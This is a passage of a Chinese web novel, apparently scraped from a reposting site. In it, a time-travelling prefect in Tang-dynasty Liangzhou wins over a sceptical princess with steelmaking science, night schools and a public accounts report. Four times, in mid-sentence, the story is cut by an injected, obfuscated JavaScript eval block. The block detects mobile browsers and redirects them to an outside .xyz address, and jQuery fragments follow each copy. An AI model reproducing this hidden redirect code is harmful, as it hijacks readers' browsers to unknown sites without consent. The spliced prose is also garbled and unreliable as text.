李丽质听得云里雾里,但隐约觉得哪里不对。这些数字,这些比例,听起来不像是什么玄而又玄的法术,反倒像是……某种规律?
林浩转过身,对着她身后的墙壁一指。“殿下,请看这个。”
李丽g质回头一看,整个人如遭雷击。
墙上挂着一张巨大的表格,上面密密麻麻写满了各种她从未见过的符号和数字。
氢H,氦He,锂Li,铍Be…铁Fe,铜Cu,银Ag,金Au…
每个符号下面,都标注着一串数字。
这些符号,她一个都不认识,但不知为何,这张表格散发出一种莫名的威严感,仿佛蕴含着天地至理,是一张真正的……天书。
“这是什么?”李丽质的声音有些干涩。
“元素周期表。”林浩淡淡地说道,“世间万物,都由这些基本元素构成。铁是铁,铜是铜,金是金,每一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391600|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种都有自己的性质。”
“当我们知道了这些元素的规律,就能像厨子配菜一样,把它们按照不同的比例混合,创造出我们想要的新物质。”
他指着正在工作的老王。“比如炼钢,就是在铁里面加入适量的碳元素。碳多了,钢就脆;碳少了,钢就软。找到最合适的比例,就能炼出最好的钢。”
“这不是妖术,这叫科学。”
李丽质怔怔地看着那张表格,大脑飞速运转。
如果……如果林浩说的是真的,那些看似神奇的炼钢术,其实只是掌握了材料配比的规律?那些坚硬无比的钢刀,只是因为找到了最佳的碳含量?
“不可能。”她摇头,“这些都是歪理邪说!自古以来,炼铁就是炼铁,哪有什么元素不元素的!”
林浩也不争辩,只是朝老王招了招手。“来,给公主殿下演示一下。”
老王放下手中的记录纸,恭敬地走了过来。“殿下,您看好了。”
他抓起一把黑色的粉末,撒进炉子里。“这是木炭粉,碳含量九成五以上。”
又抓起一把灰色的粉末。“这是铁矿石粉,含铁量八成五。”
再撒进一些白色的石头碎片。“这是石灰石,用来去除杂质。”
每加一样东西,他都会在纸上记录下准确的重量和比例。然后,点火,升温,等待。
整个过程,没有一句咒语,没有一丝神秘感。就像是在做饭,按照菜谱,一步一步,精确执行。
两个时辰后,炉门打开。
一块通红的钢锭被取了出来,在空气中散发着令人心悸的光芒。
老王拿过一把铁刀,对着钢锭轻轻一碰。
“咔嚓!”
一声脆响,铁刀应声断成两截。
“殿下您看,这就是科学炼钢的成果。同样的原料,不同的配比,效果天差地别。”
李丽质呆呆地看着那块钢锭,看着那把断裂的铁刀,看着老王脸上理所当然的表情。
她关于“妖术炼钢”的最后一块基石,轰然倒塌。
这不是妖术。
这是规律。一种可以重复,可以验证,可以传授的规律。
“可是……可是这违背了祖宗之法!”李丽质声音中带着颤抖,像一个溺水的人抓住最后一根稻草。“《周礼》有云,工有巧技,农有定时,各司其职,不得逾越!你让工匠去研究这些……这些……”
她指着那张元素周期表,想要找个合适的词来形容,却发现自己的词汇如此匮乏。
“这些违背常理的东西,就是在乱礼坏制!”
林浩静静地看着她,等她说完,才缓缓开口:“殿下,我问你一个问题。”
“一个能让大唐人人都有钢刀用的方法,需要哪位祖宗来反对?”
李丽质张了张嘴,一个字也说不出来。
她看着那张写满符号的表格,看着那些专注工作的“疯子”们,看着那块还在微微发光的钢锭。
前所未有的思想冲击,让她的世界观再次发生剧烈的摇摆。
如果这真的是规律,真的是真理,那她之前的所有认知,所有坚持,又算什么?
就在她陷入深深的迷茫时,突然想起了什么,眼中重新燃起最后的斗志。
“就算……就算你这炼钢之法是真的,那也不能改变一个事实!”
她指着院子角落那些正在读书写字的工人和农民。
“你开启民智,让这些愚夫愚妇都来学习文字,这就是乱民之举,动摇国本!”
“《论语》有云:民可使由之,不可使知之!这是圣人之言,你敢违背吗?!”
第33章:公主殿下的世界观彻底碎了
听到李丽质祭出儒家圣言,林浩终于停下了脚步。
他没回头,只用眼角的余光扫了她一眼,语气里听不出喜怒。
“殿下,《论语》背得不错。”
这句平淡的夸奖,落在李丽质耳中,却比任何反驳都更加刺耳。
“你……你这是什么意思?圣人教诲,岂容你如此轻慢!你这是要与天下读书人为敌吗?!”
李丽质的声音已然变调,攥紧的拳头因为用力而骨节发白。
林浩终于转过身,竟是轻笑了一声。
“走吧,殿下。”
“去哪?”李丽质警惕地问。
“去亲眼看看,什么叫民可使由之,什么又叫民可使知之。”
林浩说完,便不再理会她,自顾自地朝着科学院外走去。
李丽质愣在原地,心头涌起一股被彻底无视的**感。
但强烈的好奇与不甘,还是驱使着她咬着牙,跟了上去。
她倒要看看,这个林浩,究竟在耍什么花样!
天色已晚,一轮弯月挂在天边,凉州的街道上却并非一片漆黑。
道路两旁,一些商铺和民居门口,都挂着新式的防风灯笼,将青石板路照得亮堂堂的。
行人三三两两,有刚下工的工人,有推着空车的小贩,还有许多和他们一样,行色匆匆,朝着同一个方向汇聚。
他们的脸上没有麻木与疲惫,反而带着一种充满期待的光芒。
林浩带着她七拐八拐,最后停在一座像是旧仓库改造的院子前。
院门口挂着一块简陋的木牌,上面是三个字:第一夜校。
“夜校?”李丽质蹙眉,这个词她闻所未闻。
没等她发问,林浩已经推门而入。
院内灯火通明,人声鼎沸,和外面街道的安静判若两界。
几十上百人,挤在院子里的几间大屋中,朗朗的读书声,混杂着先生的讲课声,汇成一股热烈的声浪,扑面而来。
李丽质被眼前的景象惊得怔在原地。
她看到了白天见过的壮汉王大锤,他正跟几个工友挤在一张桌前,手里拿着一根炭笔,在一块破旧的木板上,一笔一划地描摹着一个“王”字,那认真的劲头,比他抡大锤时还要专注。
她还看到了那个老农赵老四,他戴着一副不知从哪弄来的老花镜,正捧着一本小册子,嘴里念念有词,眉头时而紧锁,时而舒展,像是在攻克什么天大的难题。
除了他们,还有更多的人。
满身油污的铁匠,浑身补丁的农夫,挑着扁担的货郎,甚至还有几个抱着孩子的妇人。
他们身份各异,年龄不同,此刻却都像最虔诚的学生,坐在这简陋的教室里,贪婪地吸收着知识。
空气中弥漫着一股混杂着汗味、墨水味和油灯味的特殊气息,有些呛人,却又透着一股让李丽质心头震动的……生机。
林浩领着她,悄无声息地走到一间教室的窗边。
里面的先生,正指着黑板上的几个大字,大声地领读。
“来,跟我念,大——唐——”
“大——唐——!”下面的人跟着嘶吼,声音参差不齐,却充满了力量。
“我——是——唐——人——”
“我——是——唐——人——!”
一个看上去四十多岁的汉子,在写完自己的名字后,激动得满脸通红,他举着手里的木板对着同伴炫耀:“俺会写俺的名字了!俺会写了!哈哈哈!”
那是一种纯粹的、发自肺腑的喜悦。
一种作为一个“人”,而非牲口,第一次掌握了自身符号的巨大满足感。
李丽质看着那一张张在灯火下被映照得通红,却透着神采的脸庞,看着他们眼中那种对知识最原始的渴望,她嘴里那句“愚夫愚妇”无论如何也说不出口了。
她一直以为,这些人,只需要给他们吃食,让他们有力气干活便足够了。
可现在她才发现,他们也渴望“知道”,渴望认清这个世界,渴望写下自己的名字。
林浩什么也没说,只是带着她,又走到了另一间教室的门口。
这间教室里的人明显要少一些,也安静一些。
台上的先生看起来像个有些落魄的书生,但他讲的东西,却让李丽质的耳朵一下子竖了起来。
“……《唐律疏议》里写得明明白白,诸窃盗公私财物者,准所窃盗物估价计赃,坐罪。啥意思?就是说,偷东西是犯法的,不管你是偷官府的,还是偷邻居家的,都要按照偷的东西值多少钱来定罪!”
“为啥不能偷?因为那头牛,是张三辛辛苦苦养大的,那是他的财产!那匹布,是李四起早贪黑织出来的,那是他的财产!你伸手去拿,就是侵犯了人家的权利!大唐的律法,保护的就是咱们每个人的这份权利!”
“反过来,咱们也要尽义务。啥是义务?纳税就是义务!咱们交的税,变成了修路的钱,变成了守卫边疆的军饷,变成了发给官吏的俸禄,让他们来维持秩序,保护咱们的权利。有权才有责,有责才有权,这才是堂堂正正的大唐子民!”
先生讲得口干舌燥,下面的听众却听得如痴如醉。
这些话语,比任何圣人经典都要直白,都要容易理解。
没有高深莫测的“道”,没有玄之又玄的“理”,只是在告诉他们,什么是对的,什么是错的,为什么对,为什么错。
李丽质彻底愣住了。
她设想中的“乱民之举”,应该是煽动仇恨,鼓吹**,将矛头指向朝廷,指向她这样的皇室贵胄。
可她听到了什么?
林浩,竟然在教这些“愚夫愚妇”……学法,懂法,守法!
他不是在动摇国本,他是在用一种她从未想象过的方式,为大唐的统治,夯实最底层的,也是最坚固的基石!
当一个百姓知道偷窃不对,不是因为害怕被官府打板子,而是因
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391601|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为他懂得了“财产权”;当一个百姓知道要纳税,不是因为惧怕官吏的威逼,而是因为他明白这是自己应尽的“义务”。
这样的百姓,组成的国家,将会是何等的稳固?何等的强大?
“民可使由之,不可使知之……”
李丽质喃喃地念着这句话,第一次对这句传承千年的圣人之言,产生了怀疑。
让百姓愚昧无知,真的能长治久安吗?
一个什么都不懂,只凭着一腔血勇和本能行事的群体,他们不会思考律法和道义,只会被轻易地煽动,被野心家利用,成为改朝换代最可怕的洪水猛兽。
而一个知书达理,知法懂礼的群体呢?
他们或许会争辩,会提要求,但他们会通过律法,通过规则来解决问题,因为他们知道,稳定的秩序,才是对自己最大的保护。
李丽质的脸色,一片煞白。
她感觉自己引以为傲的**观,那种高高在上的精英思想,在这一刻,被这间小小的、充满汗味的夜校教室,撞得粉碎。
林浩看着她失魂落魄的样子,终于开口了。
他的声音很轻,却像一记重锤,敲在李丽质的心上。
“殿下,现在你告诉我。”
“让百姓知晓法律,懂得权利,明白是非,究竟是在动摇国本,还是在为我大唐,夯实万世不移的根基?”
李丽质嘴唇翕动,一个字都吐不出来。
林浩向前走了一步,目光灼灼地盯着她。
“一个能读会算,知晓对错,明白自己权利和义务的大唐子民。”
“和一个目不识丁,野蛮冲动,被人用一句谣言就能煽动起来,提着刀上街**的愚夫。”
“殿下,你觉得,哪一个,对我父皇的江山社稷,更有用?”
“哪一个,才是我大唐真正的力量?!”
“……”
李丽质无法回答。
这个问题,像一把最锋利的尖刀,剖开了她所有用经义和礼法包裹起来的骄傲,露出了里面苍白脆弱的内核。
她的世界,在这一刻,彻底崩塌了。
之前所有的质疑,所有的愤怒,所有的自以为是,都变成了一个巨大的笑话。
她不是来为民除害的。
她也不是来伸张正义的。
她只是一个从深宫里走出来的,不问世事,凭空想象,跑来对一个崭新的、充满活力的世界指手画脚的……小丑。
巨大的眩晕感袭来,李丽质踉跄着后退了两步,扶住身后的墙壁,才没有倒下。
她看着林浩,那个男人依旧是一副懒洋洋的样子,但他的眼神,却能洞穿一切。
她输了。
输得一败涂地,体无完肤。
再留在这里,只会让她感到更加的**和窒息。
李丽质猛地推开林浩,没有再放一句狠话,也没有再说任何一个字,她转过身,像是在逃跑一样,冲出了这个让她世界观崩塌的院子。
第34章:他这是要挖我李家皇朝的根
驿馆的灯火,落在李丽质眼中,第一次变得如此刺眼。
房门被她从身后猛地撞上,“砰”的一声巨响,震得廊下的宫灯剧烈摇晃,也隔绝了门外内侍宫女们惊慌的呼喊。
“都退下!”
背靠着冰冷的门板,身体的力气仿佛被瞬间抽空,她不受控制地缓缓滑落,最终颓然坐在了地上。
可她的脑海里,却比任何时候都要喧嚣。
那个混杂着汗臭与油灯味的夜校,那一张张在灯火下因识字而狂喜、因懂法而专注的脸,一遍遍地在她眼前闪现,驱之不散。
王大锤在木板上用炭笔歪歪扭扭写下自己名字时,那声发自肺腑的狂笑。
赵老四戴着滑稽的老花镜,捧着《农技手册》如饥似渴、眉头紧锁的模样。
还有那个落魄书生站在简陋的讲台上,用最大白话解释着《唐律疏议》……
权利。
义务。
财产。
这些冰冷的词汇,在太傅们的口中是治理天下的工具,在史书上是稳定江山的基石。
可她从未想过,有一天,这些词会从一群她眼中的“愚夫愚妇”口中,用那样充满渴望与力量的音调被念出来。
她输了。
输得一败涂地。
她引以为傲的皇室血脉、满腹经纶的学识、自以为是的**远见,在那些最朴实、最原始的渴望面前,成了一个天大的笑话。
她不得不承认,凉州的百姓,日子确实好过了。
工人有工做,农民有地种,商人有钱赚,所有人的眼睛里……都有光。
可正是这份该死的“承认”,让她从心底深处,翻涌出一种比发现“贪腐”时更加彻骨的寒意。
一股寒意从尾椎骨笔直地窜上天灵盖,瞬间冻结了她的四肢百骸。
这不是贪腐!
这比贪腐可怕一万倍!
林浩,那个男人,他根本不是在治理凉州。
他是在用“工分”“福利”“安保费”“科学院”“夜校”……
建立一套完完全全属于他自己的规则!
他用最赤裸裸的利益,将凉州的工、农、商、兵,所有阶层,都死死地捆绑在了他一个人的战车之上。
这里的百姓拥护他,不是因为长安城里高高在上的天子,不是因为圣人经典的教化,而是因为他林浩能让大家吃上饱饭,能让大家穿上新衣,能让大家的孩子有书读,能让大家活得像个人!
这种拥护,太实在了,实在到……可怕!
长此以往,凉州百万军民,恐怕真的会“只知有刺史,不知有天子”!
这不是贪腐,这是在掘她李氏皇朝的根!
李丽质下意识地抱紧双臂,身体蜷缩起来,一种前所未有的恐慌攫住了她。
就在这时,一阵极轻、却极有规律的敲门声响了起来。
“笃,笃,笃。”
“殿下,下官刘承,有要事求见。”
李丽质扶着门板,摇晃着站起身,走到桌案后坐下,双手交叠放在桌上,以此来掩饰那控制不住的颤抖。
“进来。”
门被推开,刘承一身整齐的官服,手捧一叠文书,走了进来。
“深夜叨扰,还请殿下恕罪。”
“何事?”
刘承抬起头,没有直接回答,反而向前一步。
“殿下今夜所见,想必心中已有了判断。下官斗胆猜测,殿下此刻的忧虑,恐怕已非林浩贪鄙与否。”
“以利窃国,收拢民心,形同豢养私民!”
“殿下!林浩此举,看似处处利民,实则是在用这泼天的利益,将凉州百万之民,都变成他一人的私产!民心尽归于他,而非归于陛下!此乃动摇国本之大罪!”
“其——心——可——诛!”
刘承的话,将那个最血淋淋、最让她恐惧的内核,赤裸裸地摆在了面前。
她最怕的,就是这个!
刘承见状,将手中的文书,双手恭敬地呈了上来。
“殿下,这是下官连夜整理的罪证,皆是基于殿下白日所查之事。只是,下官斗胆,为殿下换了一个角度,做了一番解读。”
李丽质接过文书,上面还是那些事:炼钢,修路,办夜校……
但每一条下面,都附上了刘承用朱砂笔写下的批注,那红色刺目如血。
“擅立‘科学院’,网罗天下巧匠,私研军国利器,是为僭越!”
“推行‘安保费’,名为商路安全,实为自建税制,豢养私兵,是为不臣!”
“开办‘夜校’,曲解圣人经典,擅教律法,以蝇头小利蛊惑人心,使其知利而忘君恩,是为乱政!”
……
一条条,一款款,字字诛心!
每一件在百姓看来是天大好事的事情,在刘承的笔下,都变成了一把把指向皇权安危的利刃。
李丽质的呼吸,不由自主地急促起来。她知道,刘承说得对。从一个皇室公主,一个大唐统治阶层的角度来看,他说的每一个字,都对!
她死死盯着桌案上的一处木纹,声音从牙缝里挤出来:“刘御史,你想如何?”
刘承躬身,语气斩钉截铁。
“下官身为监察御史,有风闻奏事之权!下官将以御史台的名义,正式向凉州刺史府递交一份《监察问状》!”
“《问状》?”
“正是!”刘承的眼中闪着一股近乎偏执的冷光,“下官将罗列其擅改官制、与民争利、蛊惑人心等十项大罪,要求他林浩,必须在全凉州百姓的面前,做出公开解释!”
“殿下放心,这并非审判,而是质询。完全符合我大唐《律疏》中的御史监
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391602|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
察程序,他林浩身为朝廷命官,绝无理由,也绝不敢拒绝!”
李丽质的心,彻底沉入了谷底。
公开质询?
当着全凉州百姓的面?
质询他为什么把路修得那么好?质询他为什么能炼出削铁如泥的钢?质询他为什么让百姓吃饱了饭,过上了好日子?
这简直荒谬绝伦!
可如果不质询,就等于她,堂堂的长乐公主,对刘承口中这“动摇国本”的滔天大罪,视而不见!
拒绝刘承,就等于背叛了她身为李氏子女的立场!
她的脑海中,夜校里百姓们充满希望的脸,与太极殿上父皇那威严而孤高的背影,正在疯狂地交战、撕扯。
“殿下!”刘承看出了她的犹豫,立刻踏前一步,加重了语气,“此事关系国本,非同小可!下官恳请公主殿下,能以皇室代表的身份,与下官一同主持这场‘公开问政大会’!唯有如此,方能彰显朝廷对此事的重视,以正视听!”
李丽质的脸,已无半点血色。
刘承见状,立刻以退为进,长长一揖到底:“下官明白殿下难处。若是殿下不便出面,下官亦将独自扛起这监察之责,万死不辞!只是……恐怕效果大打折扣,也难以向陛下交代。”
向陛下交代……
这五个字,像最后一根稻草,压垮了李丽质所有的挣扎与侥愈。
是啊,她是父皇最宠爱的女儿,是大唐的长公主,她首先要维护的,是父皇的江山,是李氏的天下。
良久,她空洞的眼神终于重新聚焦,落在了刘承的脸上,声音轻得像一片羽毛,却又重若千钧。
“……本宫,知道了。”
这已经是她能给出的,唯一答案。
刘承眼中闪过一抹不易察觉的精光,他再次深深一拜,声音铿锵有力。
“下官,遵命!”
说罢,他没有片刻耽搁,立刻转身,带着那份字字如刀的《监察问状》,大步流星地退出了房间。
房门关上,李丽质再次跌坐回椅子里,浑身再无一丝力气。
她不知道自己坐了多久,直到一阵急促的脚步声和惶急的敲门声将她惊醒。
“殿下!殿下!不好了!”
是侍女小环的声音。
“进来!”
房门被推开,小环连滚带爬地冲了进来,脸上满是惊骇。
“殿下!外面……外面全乱了!”
小环举着一盏灯笼,上气不接下气地喊道。
“刚刚……刚刚刘御史派人,在全城的大街小巷都贴满了告示!城门上,市集口,还有……还有科学院门口都贴了!”
“告示上说……说奉您的命令,三日后要在科学院广场,公开审问林刺史!城中百姓,皆可旁听!”
“现在,全城都炸开锅了!”
第35章:刺史大人教你什么叫顶级公关!
告示贴出来不到半个时辰,整个凉州城都沸腾了。
水泥厂里,刚刚领到工钱的工人们围在一起,脸上的喜气瞬间被忧虑取代;
集市上,商贩们停止了叫卖,三五成群地聚在告示前,指指点点,议论纷纷;
就连田埂上,都有闻讯赶来的农夫,满脸焦急地向识字的人打听着上面的内容。
“问政?这是啥意思?是要审判林大人吗?”
“什么‘擅改官制’、‘与民争利’?修路让我们运货方便了,是与民争利?建厂让我们有活干能吃饱饭,是与民争利?”
“还有那‘开启民智以乱人心’……俺去夜校学了写自己的名字,咋就乱人心了?俺心好着呢!”
百姓的议论朴素而直接。
他们不懂什么叫“国本”,也不懂什么叫“圣人经典”。
他们只知道,自从林大人来了,日子一天比一天好。
现在,京城来的贵人,要当着所有人的面“问罪”他们的好官,一种朴素的担忧,迅速蔓延开来。
刺史府内,气氛更是凝重得能拧出水来。
几名核心的下属,急得如同热锅上的蚂蚁,在林浩的书房里团团转。
“大人!这招太毒了!这刘御史分明是想借公主殿下的势,把您架在火上烤啊!”
“公开问政……当着全城百姓的面,他只要搬出朝廷法度、圣人祖制,咱们做的这些事,哪一件经得起那么掰扯?百姓是得了实惠,可是在那些大道理面前,实惠是上不了台面的!”
“大人,您快想想办法吧!要不,咱们就称病不见?或者直接将他扣下?”
“胡闹!”
听着下属们越来越离谱的建议,林浩终于从摇椅上坐了起来。
他伸了个懒腰,打了个长长的哈欠,脸上没有丝毫的紧张,反而带着一种没睡醒的慵懒。
他拿起桌上的《监察问状》扫了一眼,然后随手丢在一边。
“问政大会?”他撇了撇嘴,语气里满是嫌弃,“名字起得太严肃了,听着就累。”
众人面面相觑,都这个时候了,大人怎么还在纠结名字好不好听?
林浩站起身,走到门口,看着院子里因为这个消息而有些骚动的人群,忽然开口吩咐道:“去,把《凉州日报》的主编给我叫来。”
片刻后,主编连滚带爬地跑了进来。
林浩指了指桌上的纸笔:“记。立刻给我印一份号外,今天天黑之前,要让凉州城里,人手一份。”
主编赶紧铺开纸,准备记录。
“标题就叫——热烈庆祝凉州第一届年度施政报告暨现场问答会隆重召开!”
“哈?”主编的笔尖一抖,墨汁滴在了纸上。
施政报告?问答会?
林浩没理会他的错愕,继续用一种平淡到乏味的语调口述着:
“正文写清楚,我,凉州刺史林浩,将于三日后,在科学院广场,向全凉州的父老乡亲,详细汇报过去一年,刺史府究竟干了什么,钱花在了哪里,取得了哪些成果,还有哪些不足。”
“报告会后,将进入现场问答环节。任何人,无论工农商学,有任何疑问,都可以当场提出,本官知无不言,言无不尽。欢迎大家前来听取报告,查阅账目,踊跃提问!”
“最后,在末尾用最大的字号,加粗标红。”
“‘本报讯:刺史府诚挚感谢长乐公主殿下与监察御史刘承大人,不远千里,屈尊驾临,为本次报告会提供全程监督与指导!我们特聘请公主殿下与刘御史,担任本次报告会的‘特邀监督嘉宾’,以确保本次会议的公平、公正与公开!’”
这一连串的指令下来,整个书房里的人,全都石化了。
反客为主!
这已经不是反客为主了,这是直接把客人的桌子掀了,然后请客人上主桌当盘菜啊!
一场杀气腾腾、意图定罪的“公开问政”,被林浩轻描淡写地一番重新定义,瞬间变成了一场开放、自信、甚至带着点炫耀意味的政绩展示会。
他不仅没有回避,反而把场面搞得更大,把调子起得更高。
他不是被告,他是报告人。
百姓不是旁观者,是来“查账”的主人。
而那气势汹汹的原告和法官呢?对不起,你们是“特邀监督嘉宾”,是来鼓掌和背书的!
当晚,《凉州日报》的号外,像雪片一样飞入了凉州城的千家万户。
驿馆内,李丽质看着手中的那份报纸,气得浑身发抖,原本就苍白的脸更是没了血色。
“特邀……监督……嘉宾?”
她一字一顿地念出这几个字,只觉得脸上火辣辣的,仿佛被人当众甩了无数个耳光。
她终于明白了。
从头到尾,她都被人当枪使了!
先是被那个看似刚正的刘承,用“国本大义”逼着点了头。
现在又被这个滑头至极的林浩,用一份报纸,直接架在了“嘉宾”的位置上!
去?去了就是为他林浩的“德政”站台,承认他做的这一切都是对的!
不去?那更是坐实了心虚,成了全凉州百姓眼中的笑话!
进退两难!
而另一间房里,刘承看着同样的报纸,却是发出一声冷笑。
“虚张声势,哗众取宠!”
他将报纸揉成一团,扔在地上。
“以为改个名字,就能偷换概念,混淆视听吗?幼稚!”
在他看来,林浩的这些小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391603|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聪明,不过是垂死挣扎。
他相信,在“君君臣臣,父父子子”的圣人经典面前,在“重农抑商,安分守己”的朝廷大义面前,任何关于利益和实惠的狡辩,都将显得苍白无力,不堪一击!
三日后,科学院广场。
人山人海,万头攒动。
整个凉州城,几乎万人空巷。
百姓们自发地从四面八方涌来,将整个广场围得水泄不通。他们的脸上,带着紧张,带着期待,也带着一丝捍卫自己利益的决绝。
广场中央,一座临时搭建的高台早已就绪。
最上首,摆着两张铺着锦缎的太师椅。
李丽质和刘承,面无表情地坐在主位上。
而在他们侧下方,只摆了一张普普通通的木椅,林浩就那么懒洋洋地坐在那里,仿佛他才是那个来旁听的客人。
这种奇特的座位格局,让台下的气氛更加凝重。
吉时一到,刘承猛地站起身。
他没有直接提出任何质询,而是先声夺人,从怀中取出一卷书简,用一种抑扬顿挫的语调,高声朗诵起来。
“《礼记》有云:‘傲不可长,欲不可纵,志不可满,乐不可极!’圣人教诲,要我等安分守己,克制欲望!”
“《管子》亦云:‘农为国本,工商为末!’自古以来,重农抑商,方为治国正道!”
他没有提一个字的新政,却句句都在影射新政。
慷慨激昂的陈词,在广场上空回荡。在他的描述中,如今的凉州,就是一个被“铜臭味”污染的地方,工匠钻研奇技淫巧,商人唯利是图,百姓追逐利益而忘记了本分,整个社会,即将礼崩乐坏!
一套引经据典的宏大叙事,瞬间将现场的气氛压到了冰点,试图从道德和理论的制高点上,将林浩彻底钉死。
面对刘承的滔天大论,李丽质的心也提到了嗓子眼。
然而,作为被指控的对象,林浩却连眼皮都没抬一下。他像是听得有些犯困,打了个哈欠。
等到刘承终于讲完,意气风发地坐下,等待他辩驳时,林浩才慢悠悠地站了起来。
他没有看刘承,也没有看李丽质,更没有准备长篇大论地去辩论什么“圣人之言”。
他只是懒洋洋地对着台下招了招手。
瞬间,所有人的目光都被吸引了过去。
只见几个水泥厂的壮汉,正嘿咻嘿咻地抬着几个用黑布蒙着的巨大木箱,吃力地走上高台。
“砰!”
“砰!”
几个沉重的木箱被重重地放在高台中央,发出的闷响,让所有人的心脏都跟着一跳。
全场的目光,瞬间被那几个神秘的木箱死死吸住。
那里面,到底是什么?
第36章:别跟我扯道德,先让百姓吃饱饭!
刘承看着那几个神秘的黑箱,先是一愣,随即不禁冷笑:“林大人,当着公主殿下与凉州万民之面,休要故弄玄虚!”
在他看来,这不过是林浩黔驴技穷,想用些骇人听闻的把戏来转移视线的垂死挣扎。
林浩压根没看他,只是对着那几个木箱,懒洋洋地吐出两个字。
“扯开。”
随着他一声令下,黑布被猛地掀开!
阳光下,露出的东西让所有人同时怔住。
没有刀枪剑戟,没有金银珠宝。
第一个箱子里,是一叠叠码放得整整齐齐,用牛皮纸做封面的册子。
第二个箱子里,是几个奇形怪状的木制模型,其中一个,赫然是赵老四家里那架“曲辕犁”的缩小版。
第三个箱子里,则是一堆画着各种曲线和格子的图表。
李丽质的瞳孔猛地一缩。
她看懂了。这些东西的威力,比任何刀剑都要可怕!
林浩随手从第一个箱子里拿起最厚的一本册子,对着台下扬了扬,封面上的几个大字清晰可见——《凉州年度财政报告》。
“刘御史刚才引经据典,讲了半天的大道理。”
林浩的声音不大,却清晰地传遍了整个广场,“我这人比较懒,也比较实在,咱们不谈虚的,先看点实的。”
他翻开册子,直接念道:“去年,凉州府库全年税收,总计,一百三十万贯。”
“而今年,截止到昨日,凉州各项税收,包括农业税、商税,以及商人们自愿缴纳的‘安保费’,总计,三百九十八万贯!”
“翻了三倍!”
台下的百姓们瞬间炸开了锅!
他们或许对一百万贯没什么概念,但“翻了三倍”这个说法,他们听得懂!
这意味着,官府比以前有钱了三倍!
刘承的脸色瞬间变得有些难看,他立刻反驳:“巧立名目,横征暴敛,与民争利,此乃罪证!”
“罪证?”
林浩笑了,“这钱是不是我从百姓口袋里抢来的,刘御史说了不算,得他们自己说了才算。”
他话锋一转,目光扫向台下,随手一指。
“王大锤,你上来。”
人群中,那个在夜校里兴奋地炫耀自己名字的壮汉,在工友们的推搡下,有些紧张地走上了高台。
“别紧张。”林浩拍了拍他的肩膀,“把你这本‘工分本’,给大家伙念念。”
王大锤深吸一口气,激动地展开了那本已经被他翻得有些卷边的册子,用他那粗大的嗓门吼道:“俺叫王大锤,以前是个打零工的,干一天饿一天!现在,俺在水泥厂上班!这是俺的工分本!”
“上个月,俺拿了三贯钱的工钱!厂里还管饭,顿顿有肉!俺婆娘再也不用为娃的学费发愁了!厂里还给俺们发了劳保手套,还办了托儿所,俺婆娘也能去被服厂上班挣钱了!”
三贯钱!顿顿有肉!
这些最朴实的词汇,比任何华丽的辞藻都更具冲击力!
接着,林浩又指向另一边。
“赵老四,把你的宝贝拿上来。”
那个老农赵老四,小心翼翼地捧着那个曲辕犁的模型走上台,他激动得嘴唇都在哆嗦。
“俺,俺就是个种地的。以前用旧犁,一天累死累活也就耕一亩地。用了林大人科学院弄出来的新犁,俺一个人,一天能耕五亩!省下的力气,俺还能去修路的工地上挣一份钱!以前从村里到城里卖菜,来回要一天,现在走了水泥路,半天就够了!菜还新鲜,能多卖好几文钱!”
话音刚落,商人钱万三已经自己主动跑了上来,他高高举起手中的一份文书。
“各位乡亲,各位老板!我钱万三,走南闯北二十年!以前走凉州这条线,光是孝敬黑风口的马匪,就要损失一成的货!现在,俺们只用给官府交百分之一的安保费,巡逻队天天在路上转悠,连一根**都没丢过!省下的就是赚到的!这笔账,谁不会算!”
一个工人,一个农民,一个商人。
他们代表了凉州最普通的三种人。
他们的故事,没有一句虚言,全是实实在在的数字和变化。
林浩没有停下,他对着科学院的学生们招了招手。
几个年轻人立刻跑上台,在身后临时立起的一块巨大黑板上,用白色的粉笔,将王大锤的收入、赵老四的收成、钱万三的利润,画成了一条条简单明了的曲线。
那三条昂扬向上,陡峭得近乎垂直的曲线,像三把利剑,刺穿了刘承用经典堆砌起来的所有防线。
整个广场,鸦雀无声。
